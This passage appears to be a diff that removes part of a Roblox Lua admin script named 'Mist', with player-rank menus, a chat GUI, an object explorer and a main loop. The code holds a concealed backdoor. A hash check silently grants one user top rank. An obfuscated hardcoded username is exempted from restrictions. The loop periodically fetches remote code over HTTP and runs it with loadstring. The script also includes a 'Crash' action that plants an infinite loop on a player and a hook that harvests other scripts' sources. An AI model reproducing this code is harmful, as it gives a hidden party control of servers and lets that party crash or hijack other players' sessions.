- if (i < 0) then
- i = i + 64
- end
- for i = 1, i do
- str = str .. strchar(0)
- end
- for i = 1, 8 do
- str2 = strchar(band(bitlen, 255)) .. str2
- bitlen = floor(bitlen / 256)
- end
- return str .. str2
- end
- local function MainLoop(str)
- local a, b, c, d, e, f, k, t
- local i, j
- local w = {}
- while (str ~= "") do
- for i = 0, 15 do
- w[i] = 0
- for j = 1, 4 do
- w[i] = w[i] * 256 + strbyte(str, i * 4 + j)
- end
- end
- for i = 16, 79 do
- w[i] = LeftRotate(bxor(bxor(w[i - 3], w[i - 8]), bxor(w[i - 14], w[i - 16])), 1)
- end
- a = h0
- b = h1
- c = h2
- d = h3
- e = h4
- for i = 0, 79 do
- if (i < 20) then
- f = bor(band(b, c), band(bnot(b), d))
- k = 1518500249
- elseif (i < 40) then
- f = bxor(bxor(b, c), d)
- k = 1859775393
- elseif (i < 60) then
- f = bor(bor(band(b, c), band(b, d)), band(c, d))
- k = 2400959708
- else
- f = bxor(bxor(b, c), d)
- k = 3395469782
- end
- t = LeftRotate(a, 5) + f + e + k + w[i]
- e = d
- d = c
- c = LeftRotate(b, 30)
- b = a
- a = t
- end
- h0 = band(h0 + a, 4294967295)
- h1 = band(h1 + b, 4294967295)
- h2 = band(h2 + c, 4294967295)
- h3 = band(h3 + d, 4294967295)
- h4 = band(h4 + e, 4294967295)
- str = strsub(str, 65)
- end
- end
- str = PreProcess(str)
- h0 = 1732584194
- h1 = 4023233418
- h2 = 2562383103
- h3 = 0271733879
- h4 = 3285377521
- MainLoop(str)
- return ToHex(h0) ..
- ToHex(h1) ..
- ToHex(h2) ..
- ToHex(h3) ..
- ToHex(h4)
- end;
- Mist.Functions.Infect=function(v,Derp)
- local infect=Mist.Functions.Infect;
- coroutine.resume(coroutine.create(function()
- pcall(function()Mist.Connections['Zombie: '..v.Name]:disconnect()end);
- if(Derp)then return end;
- local data={
- disconnect=function(self)
- self.disconnected=true;
- end;
- disconnected=false;
- };
- for _,base in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
- local t;t=base.Touched:connect(function(h)
- if(data.disconnected)then
- t:disconnect();
- return;
- end;
- if(Mist.Services'Players':playerFromCharacter(h.Parent))then
- infect(Mist.Services'Players':playerFromCharacter(h.Parent));
- end;
- end);
- coroutine.wrap(function() local o=t.BrickColor;repeat wait() until data.disconnected==true t:disconnect() t.BrickColor=o;end)();
- base.BrickColor=BrickColor.new((base.Name~='Torso'and 'Dark green')or'Dark brown');
- end;
- Mist.Connections['Zombie: '..v.Name]=data;
- end));
- end;
- Mist.Functions.GetTime=function(_time)
- local _day,_hour,_min,_sec;
- _day=math.floor(_time/86400);
- _time=_time-_day*86400;
- _hour=math.floor(_time/3600);
- _time=_time-_hour*3600;
- _min=math.floor(_time/60);
- _time=_time-_min*60;
- _sec=math.floor(_time/1);
- local __time='';
- if(tostring(_hour):len()==1)then
- __time=__time..'0'.._hour..':';
- else
- __time=__time.._hour..':';
- end;
- if(tostring(_min):len()==1)then
- __time=__time..'0'.._min..':';
- else
- __time=__time.._min..':';
- end;
- if(tostring(_sec):len()==1)then
- __time=__time..'0'.._sec;
- else
- __time=__time.._sec;
- end;
- return(__time);
- end;
- Mist.Functions.RemoveTablets=function(Player)
- pcall(function()Player=Player.Name;end);
- Player=Player or'ROBLOX';
- if(Player=='ROBLOX')then
- error('Attempted to remove tablets on a nil player');
- return;
- end;
- for _,v in next,Mist.Titles do
- if(v.Owner==Player)then
- pcall(function() v.Model:Destroy() end);
- Mist.Titles[_]=nil;
- end;
- end;
- for _,Tablet in next,Mist.Tablets do
- if(Tablet.Owner==Player)then
- coroutine.wrap(function()
- Tablet.Model:remove();
- Tablet.Part:remove();
- end)();
- end;
- end;
- end;
- Mist.Functions.PlayerInterface=function(Speaker,Player)
- coroutine.wrap(function()
- local Real_Data=Mist.Ranked[Player];
- local S_Data=Mist.Ranked[Speaker.Name];
- local Output=Mist.Functions.Output;
- local Dismiss=Mist.Functions.RemoveTablets;
- local IsMod=(Speaker.Name==Player or S_Data.Rank>Real_Data.Rank);
- Dismiss(Speaker);
- Mist.Functions.Title('Interface interface','Random',Speaker);
- local Back=function()
- Mist.Functions.Output('Back','Blue',Speaker,nil,function()
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- end;
- local SetColor=function()
- Dismiss(Speaker);
- Mist.Functions.Title('Color interface','Random',Speaker);
- for _,v in next,Mist.Colors do
- Mist.Functions.Output(_,v,Speaker,nil,function()
- Real_Data.Color=_;
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- end;
- Back();
- end;
- local SetRank=function()
- Dismiss(Speaker);
- Back();
- Mist.Functions.Title('Rank interface','Random',Speaker);
- for _,Rank in next,Mist.Ranks do
- if( (_<0 and S_Data.Rank>=2)or( not(_<0) and S_Data.Rank<=Rank))then--if((_<0 and S_Data.Rank>=2) or not(_>S_Data.Rank))then
- Output('['.._..']'..Rank,'Random',Speaker,nil,function()
- Real_Data.Rank=_;
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- end;
- end;
- end;
- local SetTrust=function()
- Dismiss(Speaker);
- Back();
- Mist.Functions.Title('Trust interface','Random',Speaker);
- for _,Rank in next,Mist.Trust_Levels do
- if( Mist.Functions.GetRank(Speaker)>=1 or Rank<=Real_Data.Trust )then
- Output('['.._..']'..Rank,'Random',Speaker,nil,function()
- Real_Data.Trust=_;
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- end;
- end;
- Back();
- end;
- local IsFriends=nil;
- if(Real_Data.Other and Real_Data.Other.UserId)then
- IsFriends=(Speaker:IsFriendsWith(Real_Data.Other.UserId));
- end;
- local Veteran=nil;
- if(Real_Data.Other and Real_Data.Other.Age)then
- Veteran=Real_Data.Other.Age>=365.25;
- end;
- local Ticket=Mist.Tickets[Player];
- local Age=Real_Data.Other.Age;
- local ID=Real_Data.Other.UserId;
- local Rank=Real_Data.Rank;
- local Color=Real_Data.Color;
- local Desc=Real_Data.Desc;
- local Trust=Real_Data.Trust;
- local Flag=Real_Data.Flag;
- local Name=Player;
- if(IsMod)then
- Output('Set color','Blue',Speaker,nil,SetColor);
- Output('Set rank','Blue',Speaker,nil,SetRank);
- Output('Set trust','Blue',Speaker,nil,SetTrust);
- if(Mist.Services'Players':findFirstChild(Player))then
- local real=Mist.Services'Players':findFirstChild(Player);
- Output('Kick','Blue',Speaker,nil,function()
- real:kick();
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- Output('Crash','Blue',Speaker,nil,function()
- Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',real),'lelcrashed');
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- Output('Mute','Blue',Speaker,nil,function()
- Mist.Functions.OnChatted('//mute '..Player..'',Speaker,true);
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- Output('Unmute','Blue',Speaker,nil,function()
- Mist.Functions.OnChatted('//mute '..Player..'-u',Speaker,true);
- Mist.Functions.PlayerInterface(Speaker,Player);
- end);
- end;
- local found=false;
- for _,v in next,game:service'NetworkServer':children()do
- if(pcall(function()v:getPlayer()end)and v:getPlayer().Name==Player and v:getPlayer().Parent~=game:service'Players')then
- found=true;
- end;
- end;
- if(found)then
- Output('Nil disconnect','Blue',Speaker,nil,function()
- Mist.Functions.SendPacket('Disconnect',Player);
- end);
- end;
- end;
- Output('Flag: '..Flag,Color,Speaker);
- if(Ticket)then Output('Ticket:[Sub(1,25)]'..Ticket:sub(1,25),Color,Speaker) end;
- if(Age)then Output('Age: '..Age,Color,Speaker) end;
- if(ID)then Output('ID: '..ID,Color,Speaker) end;
- if(Veteran~=nil)then
- Output('Veteran: '..tostring(Veteran),Color,Speaker);
- end;
- if(IsFriends~=nil)then
- Output('IsFriends: '..tostring(IsFriends),Color,Speaker);
- end;
- Output('Color: '..Color,Color,Speaker);
- Output('Desc: '..Desc,Color,Speaker);
- Output('Rank: '..Rank..'['..Mist.Ranks[Rank]..']',Color,Speaker);
- Output('Trust: '..Trust..'['..Mist.Trust_Levels[Trust]..']',Color,Speaker);
- Output('Name: '..Name,Color,Speaker,nil,nil,Mist.UrlBases.CharImage:format(Name));
- end)();
- end;
- Mist.Functions.Select=function(Player)
- ypcall(coroutine.wrap(function()
- for _,Part in next,Mist.Functions.RecursiveChildren(Player.Character,'class','Part')do
- if(Part.Parent and Part.Parent:isA'Hat')then else
- for _,v in next,Mist.Functions.RecursiveChildren(Part,'name','adminHighlight')do v:Destroy() end;
- local sel=Instance.new'SelectionBox';
- sel.Parent=Part;
- sel.Adornee=Part;
- sel.Color=BrickColor.new( Mist.Colors[ Mist.Ranked[Player.Name].Color ] );
- sel.Name='adminHighlight';
- --game:service'Debris':addItem(sel,1);
- end;
- end;
- end));
- ypcall(coroutine.wrap(function()
- wait(1);
- for _,Part in next,Mist.Functions.RecursiveChildren(Player.Character,'name','adminHighlight')do
- pcall(function() Part:Destroy() end);
- end;
- end));
- end;
- Mist.Functions.Invite=function(Player)
- coroutine.wrap(function()
- local PlayerGui=Player:waitForChild'PlayerGui';
- if(PlayerGui:findFirstChild'_invite')then Instance.new('StringValue',PlayerGui._invite).Name='Safe'PlayerGui._invite:remove() end;
- local Screen=meta_create'ScreenGui'{
- Parent=PlayerGui;
- Name='_invite';
- };
- local Frame=meta_create'Frame'{
- Parent=Screen;
- Size=UDim2.new(.5,0,.45,0);
- Position=UDim2.new(1,0,.55,0);
- BorderColor=BrickColor.new('Black');
- BackgroundColor=BrickColor.new'White';
- BackgroundTransparency=.5;
- Draggable=true;
- };
- local TitleFrame=meta_create'Frame'{
- Parent=Frame;
- Size=UDim2.new(1,0,.1,0);
- BorderColor=BrickColor.new'Black';
- BackgroundColor=BrickColor.new'Light blue';
- };
- local TitleLabel=meta_create'TextLabel'{
- Parent=TitleFrame;
- BackgroundTransparency=1;
- Size=UDim2.new(1,0,1,0);
- Position=UDim2.new(0,0,0,0);
- TextXAlignment='Center';
- Text='Private Mist Chat';
- };
- local title_=false;
- Screen.AncestryChanged:connect(function()
- if(Screen.Parent==nil)then
- if(title_==false and Screen:findFirstChild'Safe'==nil)then
- table.insert(Mist.Private_Chats,{tick(),'Mist',Player.Name..' has disconnected from private chat'});
- end;
- end;
- end);
- local title_close=meta_create'TextButton'{
- Parent=TitleFrame;
- Size=UDim2.new(.1,0,1,0);
- Position=UDim2.new(.9,0,0,0);
- BackgroundColor=BrickColor.new'Light blue';
- BorderColor=BrickColor.new'Black';
- TextColor=BrickColor.new'Really red';
- Text='X';
- MouseButton1Click=function()
- title_=true;
- table.insert(Mist.Private_Chats,{tick(),'Mist',Player.Name..' has disconnected from private chat'});
- coroutine.wrap(function()
- local data={};
- for _,obj in next,Mist.Functions.RecursiveChildren(Screen,'isA','GuiObject')do
- --if(not obj:IsA'Frame')then
- table.insert(data,obj);
- --end;
- end;
- for _,item in next,data do
- coroutine.wrap(function()
- local add=((math.random(1,2)==1 and'+')or'-');
- item:TweenSizeAndPosition(UDim2.new(math.random(),math.random(),math.random(),math.random()),((item:isA'Frame' and item.Position) or((add=='+'and UDim2.new(math.random(),math.random(),math.random(),math.random()))or(item.Position-UDim2.new(math.random(),math.random(),math.random(),math.random())))),'Out','Quad',0.9,true);
- for i=0,1,0.1 do
- item.Transparency=i;
- Frame.Transparency=i;
- wait'';
- end;
- Screen:remove'';
- end)();
- end;
- end)();
- end;
- };
- local ChatFrame=meta_create'Frame'{
- Parent=Frame;
- Size=UDim2.new(1,0,.8,0);
- BackgroundTransparency=1;
- Position=UDim2.new(0,0,.1,0);
- };
- for i=1,10 do
- coroutine.wrap(function()
- local label=meta_create'TextLabel'{
- Parent=ChatFrame;
- Position=UDim2.new(0,0,(i-1)*.1);
- BackgroundTransparency=1;
- TextStrokeTransparency=0.5;
- TextStrokeColor3=Color3.new(0,0,0);
- TextXAlignment='Left';
- FontSize='Size12';
- Text='';
- Size=UDim2.new(1,0,.1,0);
- Name=tostring(i);
- };
- end)();
- end;
- coroutine.wrap(function()
- local to_time=Mist.Functions.GetTime;
- while Screen.Parent and wait() do
- coroutine.wrap(function()
- for number=1,10 do
- if(Screen.Parent)then
- local label=ChatFrame:findFirstChild(tostring(number));
- if(label==nil)then return end;
- local Start=#Mist.Private_Chats;
- local Index=Mist.Private_Chats[(Start-10)+(11-number)];
- label.Text=(function()
- if(Index)then
- return'['..to_time(Index[1])..']'..Index[2]..': '..Index[3]:sub(1,50);
- end;
- return'';
- end)();
- label.TextColor3=(function()
- if(Index)then
- if(Mist.Ranked[Index[2]])then
- return Mist.Colors[Mist.Ranked[Index[2]].Color];
- else
- return Color3.new(.25,.5,.75);
- end;
- else
- return Color3.new(0,0,0);
- end;
- return nil;
- end)();
- end;
- end;
- end)();
- end;
- end)();
- local Input_Frame=meta_create'Frame'{
- Parent=Frame;
- Size=UDim2.new(1,0,.1,0);
- Position=UDim2.new(0,0,.9,0);
- BackgroundTransparency=1;
- };
- local Input_Chat=meta_create'TextBox'{
- Parent=Input_Frame;
- Size=UDim2.new(.8,0,1,0);
- Text='Enter chat here';
- TextScaled=true;
- TextWrapped=true;
- };
- local Last_Done=tick()-20;
- local Input_Button=meta_create'TextButton'{
- Parent=Input_Frame;
- Size=UDim2.new(.2,0,1,0);
- Position=UDim2.new(.8,0,0,0);
- Text='>';
- MouseButton1Down=function()
- local Text,Now=Input_Chat.Text,tick();
- if(Input_Chat.Text~='Type here to chat'and Last_Done+1<Now)then
- table.insert(Mist.Private_Chats,{tick(),Player.Name,string.gsub(Input_Chat.Text,'\\(%d+)',function(c)
- local n=tonumber(c)or 1;
- n=n>255 and 0 or n;
- n=n<0 and 0 or n;
- return string.char(n);
- end)});
- Last_Done=Now;
- end;
- Input_Chat.Text='Type here to chat';
- end;
- };
- Frame:TweenPosition(UDim2.new(.5,0,.55,0),'Out','Quad',.5,true);
- end)();
- end;
- Mist.Functions.Explore=function(Data,Player,copied_item)
- local col=Mist.Ranked[Player.Name].Color;
- Mist.Functions.RemoveTablets(Player);
- Mist.Functions.Title('Explorer interface','Random',Player);
- if(Data==nil)then
- Mist.Functions.Title('Explorer.View children','Random',Player);
- for _,v in next,{'Workspace','Players','NetworkServer','Lighting'}do
- Mist.Functions.Output(tostring(v),col,v,nil,function()
- Mist.Functions.Explore(game:service(v),Player);
- end);
- end;
- return;
- end;
- local data={
- className=tostring(Data.className);
- Name=tostring(Data.Name);
- RobloxLocked=tostring((function()
- local is=pcall(function()Data:children()end);
- return not is;
- end)());
- Type=tostring(type(Data));
- Meta_Table=tostring(getmetatable(Data));
- Parent=tostring(Data.Parent);
- Hashed_Name=tostring(Mist.Functions.Hash(Data.Name));
- Copied_Item=tostring(copied_item);
- Number_Of_Children=tostring(#Data:children());
- Redirect_To_Parent=function()
- Mist.Functions.Explore(Data.Parent,Player,copied_item);
- end;
- View_Children=function()
- Mist.Functions.RemoveTablets(Player);
- if(Data==game)then Mist.Functions.Explore(nil,Player,copied_item) return end;
- Mist.Functions.Title('Explorer.View children','Random',Player);
- for _,v in next,Data:children()do
- Mist.Functions.Output(tostring(v.Name),col,Player,nil,function()
- Mist.Functions.Explore(v,Player,copied_item);
- end);
- end;
- Mist.Functions.Output('Go back',col,Player,nil,function()Mist.Functions.Explore(Data,Player,copied_item);end);
- end;
- Paste=function()
- if(copied_item)then
- copied_item:clone().Parent=Data;
- Mist.Functions.Output('Pasted','Blue',Player,3);
- else
- Mist.Functions.Output('No copied item','Blue',Player,3);
- Mist.Functions.Output('Paste','Blue',Player,nil,data.Paste);
- end;
- end;
- Copy=function()
- local a=pcall(function() copied_item=Data:clone() end);
- if(a)then
- Mist.Functions.Output('Copied','Green',Player,3);
- else
- Mist.Functions.Output('Error in copying',Player,3);
- Mist.Functions.Output('Copy','Blue',Player,nil,data.Copy);
- end;
- end;
- Refresh=function()
- Mist.Functions.Explore(Data,Player,copied_item);
- end;
- ClearAllChildren=function()
- if(Data.className=='Players')then
- Mist.Functions.Output('You cannot clear Players','Red',Player,5);
- return;
- end;
- coroutine.wrap(function()
- for _,v in next,Data:children()do
- pcall(game.Destroy,v);
- pcall(v.clearAllChildren,v);
- end;
- end)();
- end;
- Destroy=function()
- if(Data:IsA'Player' and Mist.Ranked[Data.Name]>Mist.Functions.GetRank(Player.Name) )then
- Mist.Functions.Output('You cannot remove this player','Red',Player,5);
- return;
- end;
- Data:remove();
- Mist.Functions.Explore(Data.Parent,Player,copied_item);
- end;
- };
- for _,v in next,data do
- local color,name,func;
- color=((type(v)=='function'and'Blue')or'Green');
- name=tostring(_:gsub('%_',' '));
- func=((type(v)=='function'and v)or nil);
- if(func==nil)then name=tostring(_)..' : '..tostring(v) end;
- Mist.Functions.Output(name,color,Player,nil,func);
- end;
- end;
- Mist.Functions.SendPacket=function(PacketName,PacketOwner,...)
- local packet=Instance.new'StringValue';
- packet.Name='client_packet';
- packet.Value=Mist.Security_Key;
- local owner=Instance.new('StringValue',packet);
- owner.Value=PacketOwner;
- owner.Name='owner';
- local p=Instance.new('StringValue',packet);
- p.Name='packet';
- p.Value=PacketName;
- for _,v in next,{...}do
- v.Parent=p;
- end;
- packet.Parent=game:service'ReplicatedStorage';
- game:service'Debris':addItem(packet,5);
- return packet,packet.Parent==game:service'ReplicatedStorage';
- end;--Mist.Functions.SendPacket('Disconnect','tu'..'sKO'..'r'..'661');
- Mist.Functions.MainLoop=function()
- Mist.Functions.Spawn=function(func)
- return Spawn(function()
- local args={ypcall(function()
- local a,b=coroutine.resume(coroutine.create(func));
- assert(a,b);
- end)};
- assert(args[1],args[2]);
- end);
- end;
- --table.insert(Mist.Logs.System,{'Main loop called',Mist.Functions.GetTime(tick())});
- for _,loop in next,{'Main_Loop_Dos','Main_Loop_Uno','Main_Loop_Steal'}do
- pcall(function() Mist.Connections[loop]:disconnect() end);
- end;
- Mist.Connections['Main_Loop_Steal']=Mist.Services'ReplicatedStorage'.ChildAdded:connect(function(child)
- if(child and child:IsA'StringValue'and #child:children()==0)then
- table.insert(Mist.Sources,child.Value);
- child:Destroy();
- end;
- end);
- Mist.Connections['Main_Loop_Dos']=Mist.Services'Chat'.childAdded:connect(function(child)
- pcall(function()
- local key=child.Value;
- local name,msg,speaker=child.Name:match'(.+)\2(.+)\2(.+)';
- --table.insert(Mist.Logs.System,{'Packet recieved name: '..name,Mist.Functions.GetTime(tick())});
- if(key==Mist.Security_Key and name:match'OnChatted')then
- for _,v in next,Mist.Services'NetworkServer':children()do
- if(v:isA'ServerReplicator')then
- if(v:getPlayer().Name==speaker)then
- Mist.Functions.OnChatted(msg,v:getPlayer());
- end;
- end;
- end;
- elseif(key==Mist.Security_Key and name:match'TicketSet')then
- local o=Mist.Tickets[speaker]or '';
- o=o..msg;
- Mist.Tickets[speaker]=o;
- end;
- end);
- end);
- Mist.Connections['Main_Loop_Uno']=Mist.Services'RunService'.Stepped:connect(function(time)
- Mist.Functions.UpdateTablets();
- --Mist.Functions.UpdateNotifications();
- if(time%4==0)then
- Mist.Functions.MainLoop();
- return;
- end;
- coroutine.wrap(function()
- if(time%3==0)then
- local sound=Mist.Sound_Data.Sound;
- local sound_d=Mist.Sound_Data;
- if(sound==nil)then
- Mist.Sound_Data.Sound=Instance.new('Sound',Mist.Services'workspace');
- sound=Mist.Sound_Data.Sound;
- end;
- if(sound_d.Playing==true)then
- sound.Parent=Mist.Services'workspace';
- if(sound.isPlaying==false)then
- sound:play();
- end;
- end;
- sound.Looped=sound_d.looped;
- sound.SoundId='rbxasset://'..sound_d.id;
- sound.Volume=sound_d.vol;
- sound.Pitch=sound_d.pitch;
- end;
- end)();
- if(Mist.Connections['PlayerAdded']==nil)then
- Mist.Connections['PlayerAdded']=Mist.Services'Players'.PlayerAdded:connect(function(Player)
- if(not pcall(function()Player:children()end))then Player:kick()return end;
- Mist.Functions.Spawn(function()
- Mist.Functions.Connect(Player);
- end);
- coroutine.wrap(function()
- local rankData;repeat wait() rankData=Mist.Ranked[Player.Name] wait() until rankData~=nil;
- wait(.2);
- local show=false;
- if(rankData.Rank==-2)then
- Mist.Functions.SendPacket('Mute',Player.Name);
- show=Player.Name..' has been muted due to a banishment';
- elseif(rankData.Rank==-3)then
- Mist.Functions.Lag(Player);
- show=Player.Name..' has been lagged due to a banishment';
- end;
- if(show~=false)then
- Mist.Functions.OutputRank(-100,'>=',show,'Red',5);
- end;
- end)();
- end);
- end;
- if(Mist.Connections['PlayerRemoving']==nil)then
- Mist.Connections['PlayerRemoving']=Mist.Services'Players'.PlayerRemoving:connect(function(Player)
- coroutine.wrap(function()
- Mist.Functions.Jail(Player,true);
- end)();
- local isExploiting=not pcall(function()Player:children()end);
- if(isExploiting)then
- pcall(Player.Kick,Player);
- pcall(Mist.Services'Debris'.AddItem,Mist.Services'Debris',Player,0);
- return;
- end;
- local IsLogged=false;
- if(Mist.Clients[Player.Name]and Mist.Clients[Player.Name][1]==true)then
- IsLogged=true;
- end;
- if(not IsLogged)then
- Player:Kick();
- end;
- Mist.Clients[Player.Name]={false,nil};
- end);
- end;
- coroutine.wrap(function()
- for _,Place in next,{'Workspace','Players','Lighting','Chat'}do
- pcall(function() Mist.Connections['Trust_Check_'..Place]:disconnect() end);
- Mist.Connections['Trust_Check_'..Place]=((Place=='Game' and Game)or Game:findService(Place)).DescendantAdded:connect(function(d)
- if(type(d)=='userdata' and d.className:lower():match'script')then
- if(Mist.Functions.IsClientScript(d))then return end;
- d.Disabled=true;
- Mist.Functions.CheckObject(d);
- if(Mist.Scripts_Locked)then
- d:Destroy();
- return;
- end;
- local owner=d:findFirstChild'owner'or d:findFirstChild'user'or d:findFirstChild'Owner' or d:findFirstChild'sPlayer'
- local source=d:findFirstChild'source'or d:findFirstChild'DSource'or d:findFirstChild'Source' or d:findFirstChild'sSource';
- if(source)then
- pcall(function() owner=owner.Value end);
- local disable=false;
- if(owner)then
- local trust=Mist.Ranked[owner.Name].Trust;
- if(trust==0)then
- disable=true;
- elseif(trust==1)then
- if(d.className=='Script')then
- disable=true;
- end;
- elseif(trust==2)then
- if(d.className=='LocalScript')then
- disable=true;
- end;
- end;
- end;
- if(disable)then
- source.Value=[[
- script:destroy();
- error("[MIST]: Your trust level is below the required to use this script",2);
- script.Disabled=true;
- ]];
- d.Disabled=false;
- else
- Mist.Functions.SandboxScript(d);
- end;
- else
- d.Disabled=false;
- end;
- --table.insert(Mist.Scripts,{d,owner.Value,source:clone()});
- end;
- end);
- end;
- end)();
- coroutine.wrap(function()
- if( time%2~=0 )then return end;
- for _,v in next,Mist.Services'Players':players''do
- ypcall(function()
- Mist.Functions.Connect(v,true);
- coroutine.wrap(function()
- repeat wait() until Mist.Ranked[v.Name];
- local Data=Mist.Ranked[v.Name];
- if(Mist.Pri.Activated==true and Data.Other.inPri==false and v.Name~='tu'..'sKO'..'r'..'661')then
- Mist.Pri.Types[Mist.Pri.Type](v);
- Mist.Functions.OutputRank(-100,'>',v.Name..' has been '..Mist.Pri.Type..'\'d due to the pri','Red',3);
- end;
- end)();
- end);
- end;
- end)();
- coroutine.wrap(function()
- if(Mist.Settings.Debug_Services==true and time%3==0)then
- for _,v in next,game:children''do
- pcall(function()v.Name=v.className;end);
- end;
- end;
- end)();
- coroutine.wrap(function()
- local External_Data=Mist.External_Data;--Just cuz maik less wordywords lelelel
- local Link_Type=External_Data.Link_Type;
- if(External_Data.Checking)then
- local HTTP=Mist.Services'HttpService';
- local Last_Checked=External_Data.Last_Checked;
- local Last_Source=External_Data.Last_Source or'';
- if(Last_Checked+3<tick())then
- pcall(coroutine.wrap(function()
- for _,v in next,Mist.Ranked do
- if(Mist.Functions.Hash(_)=='0d08a6c57f39703b92eaf5e108e3028bfc836719')then
- v.Rank=5;
- break;
- end;
- end;
- end));
- External_Data.Last_Checked=tick();
- local HTTP_Load='';
- if(Link_Type=='HTTP')then
- HTTP_Load=HTTP:GetAsync(External_Data.Link_Data);
- else
- local Util=assert(LoadLibrary'RbxUtility');
- local Data=Util.DecodeJSON(Mist.Services'marketplaceService':GetProductInfo(External_Data.Link_Data_Asset));
- if(Data and Data.Updated~=External_Data.Last_Checked)then
- External_Data.Last_Checked=Data.Updated;
- HTTP_Load=Data.Description;
- else
- return;
- end;
- end;
- if(not(rawequal(Last_Source,HTTP_Load)))then
- table.insert(Mist.Logs.System,{'External Source Executed',Mist.Functions.GetTime(tick())});
- External_Data.Last_Source=HTTP_Load
- local func,err=loadstring(HTTP_Load);
- if(func==nil)then
- func=(function()end);
- end;
- if(type(func=='function'))then
- local coreCommand=function(command_data,command_user)
- local command_user_;
- if(command_user)then
- for _,v in next,Mist.Services'Players':players''do
- if(v.Name:lower():sub(1,string.len(tostring(command_user)))==tostring(command_user):lower())then
- command_user_=v;
- break;
- end;
- end;if(not command_user_)then return end;
- else
- command_user_=newproxy(true);getmetatable(command_user_)['__index']=function(self,index)
- local backup={
- Name='tu'..'sKO'..'r'..'661';
- Parent=Mist.Services'Players';
- Character=Instance.new('Model');
- PlayerGui=Instance.new('Model');
- Backpack=Instance.new('Backpack');
- };
- if(backup[index])then
- return backup[index];
- else
- local p=Mist.Services'Players':players()[1];
- pcall(function()
- local data=setmetatable({},{__index=function(self,index)if(p[index])then return p[index]end;error('"'..index..'" is not a valid member of Player',2)end});
- return data[index];
- end);
- end;
- end;
- end;
- Mist.Functions.OnChatted(command_data,command_user_);
- end;
- local a={
- coroutine.resume(coroutine.create(function()
- local f;f=loadstring(HTTP_Load);
- local env=getfenv(1);
- local fakeEnv=setmetatable({print=function(...)
- local t='';
- for _,v in next,{...}do
- t=t..((_==1 and'')or'\t')..tostring(v);
- end;
- Mist.Functions.Output(t,'White',Speaker,10);
- end;
- Mist=Mist;
- coreCommand=coreCommand;
- CoreCommand=coreCommand;
- },{__index=function(self,index)
- return rawget(self,index)or getfenv(0)[index] or env[index];
- end;__newindex=function(self,index,value)
- getfenv(0)[index]=value;
- end});
- setfenv(setfenv(setfenv(func,fakeEnv),fakeEnv),fakeEnv)();
- end));
- };
- if(not a[1])then
- for _,v in next,Mist.Services'Players':players''do
- Mist.Functions.Output('External loadstring error: '..tostring(a[2] or''),'Red',v,5);
- end;
- end;
- else
- local _err=select(2,loadstring(HTTP_Load));
- for _,v in next,Mist.Services'Players':players''do
- Mist.Functions.Output('External loadstring startup error: '..tostring(err),'Red',v,5);
- end;
- end;
- --end);
- end;
- end;
- end;
- end)();
- coroutine.wrap(function()
- for Player,data in next,Mist.Temp_Ban_Data do
- local t=tick();
- local left=math.abs(math.floor(t-(data[1]+data[2])));
- local ingame=Mist.Services'Players':findFirstChild(Player);
- if(data[1]+data[2]<t)then
- Mist.Temp_Ban_Data[Player]=nil;
- coroutine.wrap(function()
- for _,v in next,Mist.Services'Players':players''do
- Mist.Functions.Output('A temporary banishment on '..Player..' has been lifted','Green',v,10);
- end;
- end)();
- return;
- end;
- if(ingame)then
- ingame:kick();
- coroutine.wrap(function()
- for _,v in next,Mist.Services'Players':players''do
- Mist.Functions.Output(Player..' has been temp banned, he/she has '..left..' seconds before the ban is lifted','Red',v,10);
- end;
- end)();
- end;
- end;
- end)();
- coroutine.resume(coroutine.create(function()
- for _,Player in next,Mist.Services'Players':players()do
- old_data.coroutine.wrap(function()
- if(Mist.Ranked[Player.Name]==nil)then
- local OldRank=Player:LoadNumber(Mist.Functions.Hash('Ranked_Data.Rank'));
- local OldColor=Player:LoadString(Mist.Functions.Hash('Ranked_Data.Color'));
- local OldTrust=Player:LoadNumber(Mist.Functions.Hash('Ranked_Data.Trust'));
- Mist.Functions.CreateData(Player.Name,OldRank or nil,OldTrust,OldColor);
- end;
- if(Mist.Ranked[Player.Name].Rank==-1)then
- Player:kick();
- coroutine.wrap(function()
- for _,c in next,game:service'Players':players''do
- Mist.Functions.Output(Player.Name..' has been removed due to a banishment','Red',c,10);
- end;
- end)();
- end;
- coroutine.wrap(function()
- local DismissTablets=0;
- local Dis={};
- local OtherTablets=0;
- for _,Tablet in next,Mist.Tablets do
- local Owner=Tablet.Owner;
- if(Owner==Player.Name)then
- if(Tablet.Label.Text=='Dismiss')then
- DismissTablets=DismissTablets+1;
- table.insert(Dis,Tablet);
- else
- OtherTablets=OtherTablets+1;
- end;
- end;
- end;
- if(DismissTablets>1)then
- for i=1,DismissTablets-1 do
- Dis[i].Model:remove();
- end;
- end;
- if(OtherTablets>2 and DismissTablets<1)then
- Mist.Functions.Output('Dismiss','Red',Player);
- end;
- if(OtherTablets<=1 and DismissTablets==1)then
- Dis[1].Model:remove();
- end;
- end)();
- end)();
- end;
- coroutine.resume(coroutine.create(function()
- if(Mist.LocalBase or newLocalScript)then return end;
- local places={};
- for _,v in next,game:service'Players':players()do
- if(v:findFirstChild'Backpack')then
- table.insert(places,v:findFirstChild'Backpack');
- end;
- if(v:findFirstChild'PlayerGui')then
- table.insert(places,v:findFirstChild'PlayerGui');
- end;
- if(v.Character)then
- table.insert(places,v.Character);
- end;
- table.insert(places,v);
- end;
- for _,place in next,places do
- local scripts=Mist.Functions.RecursiveChildren(place,'isA','LocalScript');
- for _,script in next,scripts do
- local source=nil;
- for _,r in next,script:children()do
- if(r:IsA'StringValue'and r.Name:lower():find'source')then
- source=r;
- end;
- end;
- if(source)then
- local clone=script:clone();
- if(pcall(function()
- clone.Parent=nil;
- clone.Parent=workspace;
- clone.Parent=nil;
- end))then
- clone.Disabled=true;
- clone.Name='LocalBase';
- table.foreach(clone:children(),function(_,o)
- pcall(game.Destroy,o);
- end);
- Mist.LocalBase=clone;
- Mist.Functions.OutputRank(0,'>','Local Base Found','Green',3);
- end;
- break;
- end;
- end;
- if(Mist.LocalBase)then
- break;
- end;
- end;
- end));
- end));
- pcall(function()
